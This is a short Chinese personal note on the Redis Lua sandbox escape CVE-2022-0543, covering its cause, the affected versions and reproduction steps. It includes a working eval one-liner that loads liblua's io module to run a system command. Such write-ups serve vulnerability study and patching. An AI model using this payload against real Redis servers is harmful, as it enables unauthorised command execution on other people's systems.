Redis Lua沙盒绕过命令执行(CVE-2022-0543)
漏洞原理
在 Ubuntu 发行版打包中,不慎在 Lua 沙箱中重新分发一个箱对象package,攻击利用这个对象的加载动态库,可以使用package.loadlib从 liblua 加载模块,然后使用此模块执行任意命令;
影响版本
2.2 <= redis < 5.0.13
2.2 <= redis < 6.0.15
2.2 <= redis < 6.2.5
漏洞复现
登录redis客户端
./redis-cli -h ip -p 6379
执行脚本:
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
成功!
参考:
https://blog.csdn.net/jd_cx/article/details/125422496
免责声明:
本文属于个人笔记,仅用于学习,禁止使用于任何违法行为,任何违法行为与本人无关。